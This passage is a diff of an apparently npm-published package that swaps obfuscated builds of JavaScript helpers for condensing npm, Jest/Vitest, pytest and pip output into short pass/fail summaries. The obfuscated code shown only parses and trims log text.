_0x4dd490=a0_0x466483,_0x1a5d79=_0x5aa3ce[_0x4dd490(0x196)](/\r/g,'\x0a'),_0x42b231=_0x1a5d79['split']('\x0a'),_0x539dab=[];for(const _0x3b2c04 of _0x42b231){const _0x49165b=_0x3b2c04['trim']();(_0x49165b[_0x4dd490(0x18d)](_0x4dd490(0x187))||_0x49165b[_0x4dd490(0x18d)](_0x4dd490(0x18a))||_0x49165b['includes']('audited\x20')||_0x49165b[_0x4dd490(0x18d)](_0x4dd490(0x189))||_0x49165b[_0x4dd490(0x18d)]('found\x20'))&&(!_0x49165b[_0x4dd490(0x18d)]('%')&&!_0x49165b[_0x4dd490(0x186)]('⠋')&&!_0x49165b[_0x4dd490(0x186)]('⠙')&&_0x539dab[_0x4dd490(0x184)](_0x49165b));}const _0x1fcc2c=_0x539dab[_0x4dd490(0x17d)]('\x0a')['trim']();return _0x1fcc2c['length']>0x0?_0x1fcc2c:_0x4dd490(0x190);}function filterJestVitest(_0x17ebc4){const _0x3e834a=a0_0x466483,_0x3edc84=_0x17ebc4['split']('\x0a');let _0x192dd1=0x0,_0x1e290e=0x0,_0x2ba3a6=0x0;const _0x6483da=[];let _0x6e62b4=![];for(const _0x3569a5 of _0x3edc84){const _0x2371c9=_0x3569a5[_0x3e834a(0x18f)]();if(_0x2371c9[_0x3e834a(0x186)](_0x3e834a(0x194))||_0x2371c9[_0x3e834a(0x18d)]('Test\x20Files:')){const _0x34a6c6=_0x2371c9[_0x3e834a(0x183)](/(\d+)\s+passed/),_0x261a29=_0x2371c9[_0x3e834a(0x183)](/(\d+)\s+failed/),_0x43d08c=_0x2371c9[_0x3e834a(0x183)](/(\d+)\s+total/);if(_0x34a6c6)_0x192dd1=parseInt(_0x34a6c6[0x1]);if(_0x261a29)_0x1e290e=parseInt(_0x261a29[0x1]);if(_0x43d08c)_0x2ba3a6=parseInt(_0x43d08c[0x1]);continue;}(_0x2371c9[_0x3e834a(0x186)]('❯')||_0x2371c9[_0x3e834a(0x186)]('●')||_0x2371c9[_0x3e834a(0x186)](_0x3e834a(0x181)))&&(_0x6e62b4=!![]),_0x6e62b4&&(_0x2371c9[_0x3e834a(0x17f)]>0x0&&!_0x2371c9[_0x3e834a(0x186)](_0x3e834a(0x179))&&!_0x2371c9[_0x3e834a(0x186)]('Tests:')&&_0x6483da[_0x3e834a(0x184)](_0x3569a5));}if(_0x2ba3a6===0x0&&_0x192dd1===0x0&&_0x1e290e===0x0){if(_0x17ebc4[_0x3e834a(0x18d)](_0x3e834a(0x173))&&!_0x17ebc4[_0x3e834a(0x18d)](_0x3e834a(0x18e))){const _0xde710c=_0x17ebc4[_0x3e834a(0x183)](/(\d+)\s+passed/),_0x2696c4=_0xde710c?_0xde710c[0x1]:_0x3e834a(0x18c);return _0x3e834a(0x198)+_0x2696c4+_0x3e834a(0x175);}return _0x17ebc4;}if(_0x1e290e===0x0&&_0x192dd1>0x0)return _0x3e834a(0x198)+_0x192dd1+_0x3e834a(0x175);const _0x8fbca2=[_0x3e834a(0x198)+_0x192dd1+_0x3e834a(0x185)+_0x1e290e+'\x20failed\x20('+_0x2ba3a6+_0x3e834a(0x177)];if(_0x6483da[_0x3e834a(0x17f)]>0x0){_0x8fbca2['push'](_0x3e834a(0x174));const _0x3146a3=0x19,_0x407c82=_0x6483da['slice'](0x0,_0x3146a3);for(const _0x34498e of _0x407c82){_0x8fbca2[_0x3e834a(0x184)]('\x20\x20'+_0x34498e);}_0x6483da[_0x3e834a(0x17f)]>_0x3146a3&&_0x8fbca2['push'](_0x3e834a(0x17b)+(_0x6483da['length']-_0x3146a3)+_0x3e834a(0x176));}return _0x8fbca2['join']('\x0a');}
1
+ 'use strict';const a0_0x4a4ef9=a0_0x42e2;function a0_0x1188(){const _0x50470f=['130976gEmBDy','audited\x20','added\x20','52008djFugB','up\x20to\x20date','FAIL','match','150300KYfmWb','length','171248DWuQuT','16cKRndK','Test\x20Suites:','__esModule','\x20lines\x20of\x20trace\x20details\x20truncated)','\x20passed,\x20','769645QDzgTH','defineProperty','filterJestVitest','43170sSdSOX','filterNpmInstall','4vwXtSc','join','\x0aFailures:','push','startsWith','Tests:','includes','trim','\x20failed\x20(','NPM:\x20Packages\x20verified/installed\x20successfully','found\x20','\x20total)','Test\x20Runner:\x20','PASS','492552OXMRtt','FAIL\x20\x20','\x20\x20...\x20('];a0_0x1188=function(){return _0x50470f;};return a0_0x1188();}(function(_0x1314b8,_0x59e598){const _0x3c783d=a0_0x42e2,_0x3fe4e7=_0x1314b8();while(!![]){try{const _0x298a30=parseInt(_0x3c783d(0x1df))/0x1+-parseInt(_0x3c783d(0x1c1))/0x2+parseInt(_0x3c783d(0x1bd))/0x3+parseInt(_0x3c783d(0x1ce))/0x4*(parseInt(_0x3c783d(0x1c9))/0x5)+parseInt(_0x3c783d(0x1cc))/0x6+-parseInt(_0x3c783d(0x1c3))/0x7*(parseInt(_0x3c783d(0x1c4))/0x8)+-parseInt(_0x3c783d(0x1dc))/0x9;if(_0x298a30===_0x59e598)break;else _0x3fe4e7['push'](_0x3fe4e7['shift']());}catch(_0x6e70ea){_0x3fe4e7['push'](_0x3fe4e7['shift']());}}}(a0_0x1188,0x1fe46));function a0_0x42e2(_0x3524df,_0x5a359e){const _0x118815=a0_0x1188();return a0_0x42e2=function(_0x42e2d9,_0x4e8fd9){_0x42e2d9=_0x42e2d9-0x1bc;let _0x322872=_0x118815[_0x42e2d9];return _0x322872;},a0_0x42e2(_0x3524df,_0x5a359e);}Object[a0_0x4a4ef9(0x1ca)](exports,a0_0x4a4ef9(0x1c6),{'value':!![]}),exports[a0_0x4a4ef9(0x1cd)]=filterNpmInstall,exports[a0_0x4a4ef9(0x1cb)]=filterJestVitest;function filterNpmInstall(_0x10003a){const _0x2ff30e=a0_0x4a4ef9,_0x22aa64=_0x10003a['replace'](/\r/g,'\x0a'),_0x6926bb=_0x22aa64['split']('\x0a'),_0x246b31=[];for(const _0x4f4b42 of _0x6926bb){const _0x3c1181=_0x4f4b42[_0x2ff30e(0x1d5)]();(_0x3c1181[_0x2ff30e(0x1d4)](_0x2ff30e(0x1bc))||_0x3c1181[_0x2ff30e(0x1d4)]('removed\x20')||_0x3c1181[_0x2ff30e(0x1d4)](_0x2ff30e(0x1e0))||_0x3c1181[_0x2ff30e(0x1d4)](_0x2ff30e(0x1be))||_0x3c1181[_0x2ff30e(0x1d4)](_0x2ff30e(0x1d8)))&&(!_0x3c1181[_0x2ff30e(0x1d4)]('%')&&!_0x3c1181[_0x2ff30e(0x1d2)]('⠋')&&!_0x3c1181[_0x2ff30e(0x1d2)]('⠙')&&_0x246b31[_0x2ff30e(0x1d1)](_0x3c1181));}const _0x565dbf=_0x246b31[_0x2ff30e(0x1cf)]('\x0a')[_0x2ff30e(0x1d5)]();return _0x565dbf[_0x2ff30e(0x1c2)]>0x0?_0x565dbf:_0x2ff30e(0x1d7);}function filterJestVitest(_0x48da01){const _0x11273c=a0_0x4a4ef9,_0x1da4f0=_0x48da01['split']('\x0a');let _0x3238f0=0x0,_0x399314=0x0,_0x296b41=0x0;const _0xeec2cd=[];let _0x467f7d=![];for(const _0xd6f655 of _0x1da4f0){const _0x2f3300=_0xd6f655[_0x11273c(0x1d5)]();if(_0x2f3300[_0x11273c(0x1d2)](_0x11273c(0x1d3))||_0x2f3300['includes']('Test\x20Files:')){const _0xd12149=_0x2f3300[_0x11273c(0x1c0)](/(\d+)\s+passed/),_0x24059e=_0x2f3300['match'](/(\d+)\s+failed/),_0x3437e5=_0x2f3300[_0x11273c(0x1c0)](/(\d+)\s+total/);if(_0xd12149)_0x3238f0=parseInt(_0xd12149[0x1]);if(_0x24059e)_0x399314=parseInt(_0x24059e[0x1]);if(_0x3437e5)_0x296b41=parseInt(_0x3437e5[0x1]);continue;}(_0x2f3300[_0x11273c(0x1d2)]('❯')||_0x2f3300[_0x11273c(0x1d2)]('●')||_0x2f3300[_0x11273c(0x1d2)](_0x11273c(0x1dd)))&&(_0x467f7d=!![]),_0x467f7d&&(_0x2f3300[_0x11273c(0x1c2)]>0x0&&!_0x2f3300[_0x11273c(0x1d2)](_0x11273c(0x1c5))&&!_0x2f3300[_0x11273c(0x1d2)]('Tests:')&&_0xeec2cd[_0x11273c(0x1d1)](_0xd6f655));}if(_0x296b41===0x0&&_0x3238f0===0x0&&_0x399314===0x0){if(_0x48da01['includes'](_0x11273c(0x1db))&&!_0x48da01[_0x11273c(0x1d4)](_0x11273c(0x1bf))){const _0x69cdcf=_0x48da01[_0x11273c(0x1c0)](/(\d+)\s+passed/),_0x135697=_0x69cdcf?_0x69cdcf[0x1]:'all';return _0x11273c(0x1da)+_0x135697+'\x20passed';}return _0x48da01;}if(_0x399314===0x0&&_0x3238f0>0x0)return _0x11273c(0x1da)+_0x3238f0+'\x20passed';const _0x2542a6=[_0x11273c(0x1da)+_0x3238f0+_0x11273c(0x1c8)+_0x399314+_0x11273c(0x1d6)+_0x296b41+_0x11273c(0x1d9)];if(_0xeec2cd[_0x11273c(0x1c2)]>0x0){_0x2542a6[_0x11273c(0x1d1)](_0x11273c(0x1d0));const _0x4dbca=0x19,_0x132df6=_0xeec2cd['slice'](0x0,_0x4dbca);for(const _0x26def3 of _0x132df6){_0x2542a6[_0x11273c(0x1d1)]('\x20\x20'+_0x26def3);}_0xeec2cd[_0x11273c(0x1c2)]>_0x4dbca&&_0x2542a6[_0x11273c(0x1d1)](_0x11273c(0x1de)+(_0xeec2cd[_0x11273c(0x1c2)]-_0x4dbca)+_0x11273c(0x1c7));}return _0x2542a6[_0x11273c(0x1cf)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x2617c4=a0_0x2669;(function(_0x359b46,_0x36222d){const _0x5098a8=a0_0x2669,_0x22a66=_0x359b46();while(!![]){try{const _0x499fb0=-parseInt(_0x5098a8(0xbf))/0x1+-parseInt(_0x5098a8(0xa0))/0x2+-parseInt(_0x5098a8(0xb1))/0x3+parseInt(_0x5098a8(0x9c))/0x4+-parseInt(_0x5098a8(0xa2))/0x5+-parseInt(_0x5098a8(0xb5))/0x6+parseInt(_0x5098a8(0xad))/0x7;if(_0x499fb0===_0x36222d)break;else _0x22a66['push'](_0x22a66['shift']());}catch(_0x2dd7fc){_0x22a66['push'](_0x22a66['shift']());}}}(a0_0x1d42,0x3e269));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x2617c4(0xb6)]=filterPytest,exports[a0_0x2617c4(0x9f)]=filterPipInstall;function filterPytest(_0x25893c){const _0x4bff6c=a0_0x2617c4,_0x2fe08c=_0x25893c[_0x4bff6c(0xa7)]('\x0a');let _0x53dcf1=0x0,_0xb94c57=0x0,_0x1b8717=0x0,_0x1457aa=0x0,_0x168ee1=0x0;const _0x2e0081=[];let _0x75b561=[],_0x3a420c=![];for(const _0x100f98 of _0x2fe08c){const _0x5c819a=_0x100f98['trim']();if(_0x5c819a[_0x4bff6c(0xb9)](_0x4bff6c(0xbe))||_0x5c819a[_0x4bff6c(0xb9)](_0x4bff6c(0xa8))){_0x3a420c=!![];continue;}else(_0x5c819a[_0x4bff6c(0xb9)](_0x4bff6c(0xbb))||_0x5c819a[_0x4bff6c(0xb9)]('===')&&_0x5c819a[_0x4bff6c(0xab)](_0x4bff6c(0xc1)))&&(_0x3a420c=![],_0x75b561[_0x4bff6c(0xa3)]>0x0&&(_0x2e0081[_0x4bff6c(0xc4)](_0x75b561),_0x75b561=[]));if(_0x3a420c){if(_0x5c819a[_0x4bff6c(0xb9)]('___'))_0x75b561[_0x4bff6c(0xa3)]>0x0&&(_0x2e0081['push'](_0x75b561),_0x75b561=[]),_0x75b561[_0x4bff6c(0xc4)](_0x5c819a);else _0x5c819a[_0x4bff6c(0xa3)]>0x0&&_0x75b561[_0x4bff6c(0xc4)](_0x100f98);continue;}if(_0x5c819a[_0x4bff6c(0xb9)]('===')&&_0x5c819a['includes']('\x20in\x20')){const _0x529915=_0x5c819a[_0x4bff6c(0xb2)](/(\d+)\s+passed/),_0x405133=_0x5c819a['match'](/(\d+)\s+failed/),_0xcec90a=_0x5c819a['match'](/(\d+)\s+skipped/),_0x4f4d90=_0x5c819a[_0x4bff6c(0xb2)](/(\d+)\s+xfailed/),_0x3a9a6b=_0x5c819a[_0x4bff6c(0xb2)](/(\d+)\s+xpassed/);if(_0x529915)_0x53dcf1=parseInt(_0x529915[0x1]);if(_0x405133)_0xb94c57=parseInt(_0x405133[0x1]);if(_0xcec90a)_0x1b8717=parseInt(_0xcec90a[0x1]);if(_0x4f4d90)_0x1457aa=parseInt(_0x4f4d90[0x1]);if(_0x3a9a6b)_0x168ee1=parseInt(_0x3a9a6b[0x1]);}}_0x75b561[_0x4bff6c(0xa3)]>0x0&&_0x2e0081[_0x4bff6c(0xc4)](_0x75b561);if(_0x53dcf1===0x0&&_0xb94c57===0x0&&_0x1b8717===0x0&&_0x1457aa===0x0&&_0x168ee1===0x0){if(_0x25893c['includes'](_0x4bff6c(0xc1))&&!_0x25893c[_0x4bff6c(0xab)](_0x4bff6c(0xba)))return _0x4bff6c(0xa5);return _0x25893c;}if(_0xb94c57===0x0&&_0x53dcf1>0x0&&_0x1b8717===0x0&&_0x1457aa===0x0&&_0x168ee1===0x0)return'Pytest:\x20'+_0x53dcf1+'\x20passed';const _0x1c7044=[];_0x1c7044[_0x4bff6c(0xc4)](_0x4bff6c(0xaa)+_0x53dcf1+_0x4bff6c(0xa6));if(_0xb94c57>0x0)_0x1c7044[_0x4bff6c(0xc4)](_0xb94c57+_0x4bff6c(0xbc));if(_0x1b8717>0x0)_0x1c7044[_0x4bff6c(0xc4)](_0x1b8717+_0x4bff6c(0xb0));if(_0x1457aa>0x0)_0x1c7044[_0x4bff6c(0xc4)](_0x1457aa+_0x4bff6c(0xa4));if(_0x168ee1>0x0)_0x1c7044[_0x4bff6c(0xc4)](_0x168ee1+_0x4bff6c(0xa9));const _0x38c087=[_0x1c7044['join'](',\x20')];if(_0x2e0081['length']>0x0){_0x38c087[_0x4bff6c(0xc4)](_0x4bff6c(0x9b));const _0x2d7c9e=0x3,_0x3d6cab=_0x2e0081[_0x4bff6c(0xc7)](0x0,_0x2d7c9e);for(let _0x54e8e6=0x0;_0x54e8e6<_0x3d6cab[_0x4bff6c(0xa3)];_0x54e8e6++){const _0x58f105=_0x3d6cab[_0x54e8e6],_0x246a9a=_0x58f105[0x0]['replace'](/_/g,'')[_0x4bff6c(0x9e)]();_0x38c087[_0x4bff6c(0xc4)]('\x20\x20'+(_0x54e8e6+0x1)+_0x4bff6c(0xb7)+_0x246a9a);const _0x294f24=_0x58f105[_0x4bff6c(0xc7)](0x1),_0x9334b5=_0x294f24['filter'](_0x606be0=>{const _0xf8dcc5=_0x4bff6c,_0x21aa70=_0x606be0[_0xf8dcc5(0x9e)]();return _0x21aa70[_0xf8dcc5(0xb9)]('>')||_0x21aa70[_0xf8dcc5(0xb9)](_0xf8dcc5(0xb8))||_0x21aa70[_0xf8dcc5(0xab)](_0xf8dcc5(0xc5))||_0x21aa70[_0xf8dcc5(0xab)](_0xf8dcc5(0xaf));});for(const _0x467291 of _0x9334b5[_0x4bff6c(0xc7)](0x0,0x8)){_0x38c087[_0x4bff6c(0xc4)](_0x4bff6c(0xbd)+_0x467291);}_0x9334b5[_0x4bff6c(0xa3)]>0x8&&_0x38c087['push'](_0x4bff6c(0xac)+(_0x9334b5[_0x4bff6c(0xa3)]-0x8)+_0x4bff6c(0xa1));}_0x2e0081['length']>_0x2d7c9e&&_0x38c087[_0x4bff6c(0xc4)](_0x4bff6c(0xb3)+(_0x2e0081[_0x4bff6c(0xa3)]-_0x2d7c9e)+_0x4bff6c(0xc2));}return _0x38c087[_0x4bff6c(0x9d)]('\x0a');}function a0_0x2669(_0x1c7d01,_0x484f9b){const _0x1d42b2=a0_0x1d42();return a0_0x2669=function(_0x2669d5,_0x407682){_0x2669d5=_0x2669d5-0x9b;let _0x179714=_0x1d42b2[_0x2669d5];return _0x179714;},a0_0x2669(_0x1c7d01,_0x484f9b);}function a0_0x1d42(){const _0x504ddf=['startsWith','failed','===\x20short\x20test\x20summary\x20info\x20===','\x20failed','\x20\x20\x20\x20','===\x20FAILURES\x20===','487102EHUWWq','filter','passed','\x20more\x20failures\x20truncated','Requirement\x20already\x20satisfied','push','.py:','Collecting','slice','\x0aFailures:','77204zSltAC','join','trim','filterPipInstall','679692pbLXVf','\x20lines\x20of\x20stacktrace\x20truncated)','1249325opbaDA','length','\x20xfailed','Pytest:\x20All\x20tests\x20passed','\x20passed','split','===\x20ERRORS\x20===','\x20xpassed\x20(warning!)','Pytest:\x20','includes','\x20\x20\x20\x20...\x20(','10368302sZgWhd','Downloading','AssertionError:','\x20skipped','119919PsMBwN','match','\x20\x20...\x20+','Successfully\x20installed','774792oKtbHH','filterPytest','.\x20[FAIL]\x20','E\x20\x20\x20'];a0_0x1d42=function(){return _0x504ddf;};return a0_0x1d42();}function filterPipInstall(_0x1451bd){const _0x19aa23=a0_0x2617c4,_0x27f317=_0x1451bd[_0x19aa23(0xa7)]('\x0a'),_0x54717e=[];for(const _0x591181 of _0x27f317){const _0xf2e4b9=_0x591181[_0x19aa23(0x9e)]();_0xf2e4b9['startsWith'](_0x19aa23(0xb4))&&_0x54717e[_0x19aa23(0xc4)](_0xf2e4b9);}if(_0x54717e[_0x19aa23(0xa3)]>0x0)return _0x54717e[_0x19aa23(0x9d)]('\x0a');return _0x27f317[_0x19aa23(0xc0)](_0x21aa6c=>{const _0x5dd1b0=_0x19aa23,_0x17e95a=_0x21aa6c[_0x5dd1b0(0x9e)]();return!_0x17e95a[_0x5dd1b0(0xb9)](_0x5dd1b0(0xc6))&&!_0x17e95a[_0x5dd1b0(0xb9)](_0x5dd1b0(0xae))&&!_0x17e95a[_0x5dd1b0(0xab)]('Using\x20cached')&&!_0x17e95a[_0x5dd1b0(0xb9)](_0x5dd1b0(0xc3));})[_0x19aa23(0x9d)]('\x0a')[_0x19aa23(0x9e)]();}
1
+ 'use strict';const a0_0x51f357=a0_0x4df0;(function(_0x3fa09f,_0x23c1ae){const _0x40f52b=a0_0x4df0,_0x1aaf41=_0x3fa09f();while(!![]){try{const _0x4f6bfa=parseInt(_0x40f52b(0x10f))/0x1*(parseInt(_0x40f52b(0x132))/0x2)+parseInt(_0x40f52b(0x129))/0x3+parseInt(_0x40f52b(0x12a))/0x4+parseInt(_0x40f52b(0x131))/0x5*(parseInt(_0x40f52b(0x112))/0x6)+parseInt(_0x40f52b(0x12c))/0x7+parseInt(_0x40f52b(0x12f))/0x8*(-parseInt(_0x40f52b(0x126))/0x9)+-parseInt(_0x40f52b(0x10d))/0xa*(parseInt(_0x40f52b(0x10a))/0xb);if(_0x4f6bfa===_0x23c1ae)break;else _0x1aaf41['push'](_0x1aaf41['shift']());}catch(_0x47e152){_0x1aaf41['push'](_0x1aaf41['shift']());}}}(a0_0x1999,0xcf8b4));function a0_0x1999(){const _0x2ea870=['filterPytest','432UIvtDZ','startsWith','53830XIQtKV','68HzLltJ','___','\x20passed','slice','\x20xfailed','AssertionError:','===\x20ERRORS\x20===','\x0aFailures:','24620453VklCRJ','filter','Successfully\x20installed','10usHcoX','includes','46118fLhhWj','.\x20[FAIL]\x20','===\x20FAILURES\x20===','426UrKdmC','replace','passed','trim','\x20lines\x20of\x20stacktrace\x20truncated)','split','match','\x20\x20...\x20+','length','===','filterPipInstall','Pytest:\x20','push','Downloading','\x20skipped','Pytest:\x20All\x20tests\x20passed','\x20xpassed\x20(warning!)','\x20\x20\x20\x20','failed','Using\x20cached','198117Sflsyg','join','\x20in\x20','2381988SZQHxG','92924GWvAgp','E\x20\x20\x20','7891800uSleni','===\x20short\x20test\x20summary\x20info\x20==='];a0_0x1999=function(){return _0x2ea870;};return a0_0x1999();}function a0_0x4df0(_0x4c1725,_0x4d24f2){const _0x199914=a0_0x1999();return a0_0x4df0=function(_0x4df011,_0x2ed1de){_0x4df011=_0x4df011-0x109;let _0x5b5cc7=_0x199914[_0x4df011];return _0x5b5cc7;},a0_0x4df0(_0x4c1725,_0x4d24f2);}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x51f357(0x12e)]=filterPytest,exports[a0_0x51f357(0x11c)]=filterPipInstall;function filterPytest(_0x24ba73){const _0x8e1c2b=a0_0x51f357,_0x5a5fe9=_0x24ba73[_0x8e1c2b(0x117)]('\x0a');let _0x4edfac=0x0,_0x35ec7b=0x0,_0x28edbe=0x0,_0x37c1df=0x0,_0x457641=0x0;const _0x47d194=[];let _0x2d814e=[],_0x7c1bf4=![];for(const _0x3fca6b of _0x5a5fe9){const _0x1765ee=_0x3fca6b[_0x8e1c2b(0x115)]();if(_0x1765ee['startsWith'](_0x8e1c2b(0x111))||_0x1765ee['startsWith'](_0x8e1c2b(0x138))){_0x7c1bf4=!![];continue;}else(_0x1765ee[_0x8e1c2b(0x130)](_0x8e1c2b(0x12d))||_0x1765ee[_0x8e1c2b(0x130)](_0x8e1c2b(0x11b))&&_0x1765ee['includes']('passed'))&&(_0x7c1bf4=![],_0x2d814e[_0x8e1c2b(0x11a)]>0x0&&(_0x47d194['push'](_0x2d814e),_0x2d814e=[]));if(_0x7c1bf4){if(_0x1765ee[_0x8e1c2b(0x130)](_0x8e1c2b(0x133)))_0x2d814e['length']>0x0&&(_0x47d194[_0x8e1c2b(0x11e)](_0x2d814e),_0x2d814e=[]),_0x2d814e[_0x8e1c2b(0x11e)](_0x1765ee);else _0x1765ee[_0x8e1c2b(0x11a)]>0x0&&_0x2d814e[_0x8e1c2b(0x11e)](_0x3fca6b);continue;}if(_0x1765ee[_0x8e1c2b(0x130)](_0x8e1c2b(0x11b))&&_0x1765ee[_0x8e1c2b(0x10e)](_0x8e1c2b(0x128))){const _0x1da561=_0x1765ee[_0x8e1c2b(0x118)](/(\d+)\s+passed/),_0x223807=_0x1765ee['match'](/(\d+)\s+failed/),_0x54e2ac=_0x1765ee[_0x8e1c2b(0x118)](/(\d+)\s+skipped/),_0x4e1991=_0x1765ee[_0x8e1c2b(0x118)](/(\d+)\s+xfailed/),_0x24e1df=_0x1765ee[_0x8e1c2b(0x118)](/(\d+)\s+xpassed/);if(_0x1da561)_0x4edfac=parseInt(_0x1da561[0x1]);if(_0x223807)_0x35ec7b=parseInt(_0x223807[0x1]);if(_0x54e2ac)_0x28edbe=parseInt(_0x54e2ac[0x1]);if(_0x4e1991)_0x37c1df=parseInt(_0x4e1991[0x1]);if(_0x24e1df)_0x457641=parseInt(_0x24e1df[0x1]);}}_0x2d814e[_0x8e1c2b(0x11a)]>0x0&&_0x47d194[_0x8e1c2b(0x11e)](_0x2d814e);if(_0x4edfac===0x0&&_0x35ec7b===0x0&&_0x28edbe===0x0&&_0x37c1df===0x0&&_0x457641===0x0){if(_0x24ba73['includes'](_0x8e1c2b(0x114))&&!_0x24ba73[_0x8e1c2b(0x10e)](_0x8e1c2b(0x124)))return _0x8e1c2b(0x121);return _0x24ba73;}if(_0x35ec7b===0x0&&_0x4edfac>0x0&&_0x28edbe===0x0&&_0x37c1df===0x0&&_0x457641===0x0)return _0x8e1c2b(0x11d)+_0x4edfac+'\x20passed';const _0x25f900=[];_0x25f900[_0x8e1c2b(0x11e)](_0x8e1c2b(0x11d)+_0x4edfac+_0x8e1c2b(0x134));if(_0x35ec7b>0x0)_0x25f900[_0x8e1c2b(0x11e)](_0x35ec7b+'\x20failed');if(_0x28edbe>0x0)_0x25f900[_0x8e1c2b(0x11e)](_0x28edbe+_0x8e1c2b(0x120));if(_0x37c1df>0x0)_0x25f900[_0x8e1c2b(0x11e)](_0x37c1df+_0x8e1c2b(0x136));if(_0x457641>0x0)_0x25f900[_0x8e1c2b(0x11e)](_0x457641+_0x8e1c2b(0x122));const _0x1266d2=[_0x25f900[_0x8e1c2b(0x127)](',\x20')];if(_0x47d194[_0x8e1c2b(0x11a)]>0x0){_0x1266d2[_0x8e1c2b(0x11e)](_0x8e1c2b(0x109));const _0x58ee9f=0x3,_0xf88c84=_0x47d194['slice'](0x0,_0x58ee9f);for(let _0x36e538=0x0;_0x36e538<_0xf88c84[_0x8e1c2b(0x11a)];_0x36e538++){const _0x56224a=_0xf88c84[_0x36e538],_0xadcfa7=_0x56224a[0x0][_0x8e1c2b(0x113)](/_/g,'')[_0x8e1c2b(0x115)]();_0x1266d2[_0x8e1c2b(0x11e)]('\x20\x20'+(_0x36e538+0x1)+_0x8e1c2b(0x110)+_0xadcfa7);const _0x53b7b5=_0x56224a[_0x8e1c2b(0x135)](0x1),_0x71bb13=_0x53b7b5[_0x8e1c2b(0x10b)](_0xa6d34=>{const _0x350d24=_0x8e1c2b,_0x3efe53=_0xa6d34[_0x350d24(0x115)]();return _0x3efe53[_0x350d24(0x130)]('>')||_0x3efe53[_0x350d24(0x130)](_0x350d24(0x12b))||_0x3efe53['includes']('.py:')||_0x3efe53['includes'](_0x350d24(0x137));});for(const _0x558fa5 of _0x71bb13['slice'](0x0,0x8)){_0x1266d2[_0x8e1c2b(0x11e)](_0x8e1c2b(0x123)+_0x558fa5);}_0x71bb13[_0x8e1c2b(0x11a)]>0x8&&_0x1266d2['push']('\x20\x20\x20\x20...\x20('+(_0x71bb13[_0x8e1c2b(0x11a)]-0x8)+_0x8e1c2b(0x116));}_0x47d194[_0x8e1c2b(0x11a)]>_0x58ee9f&&_0x1266d2['push'](_0x8e1c2b(0x119)+(_0x47d194[_0x8e1c2b(0x11a)]-_0x58ee9f)+'\x20more\x20failures\x20truncated');}return _0x1266d2['join']('\x0a');}function filterPipInstall(_0x22f0f7){const _0x5bc6ca=a0_0x51f357,_0xa472c8=_0x22f0f7[_0x5bc6ca(0x117)]('\x0a'),_0x37d47c=[];for(const _0x4b4386 of _0xa472c8){const _0x33629e=_0x4b4386['trim']();_0x33629e[_0x5bc6ca(0x130)](_0x5bc6ca(0x10c))&&_0x37d47c[_0x5bc6ca(0x11e)](_0x33629e);}if(_0x37d47c[_0x5bc6ca(0x11a)]>0x0)return _0x37d47c[_0x5bc6ca(0x127)]('\x0a');return _0xa472c8['filter'](_0x4fde9e=>{const _0x3f41bc=_0x5bc6ca,_0x23b550=_0x4fde9e['trim']();return!_0x23b550['startsWith']('Collecting')&&!_0x23b550[_0x3f41bc(0x130)](_0x3f41bc(0x11f))&&!_0x23b550[_0x3f41bc(0x10e)](_0x3f41bc(0x125))&&!_0x23b550[_0x3f41bc(0x130)]('Requirement\x20already\x20satisfied');})[_0x5bc6ca(0x127)]('\x0a')[_0x5bc6ca(0x115)]();}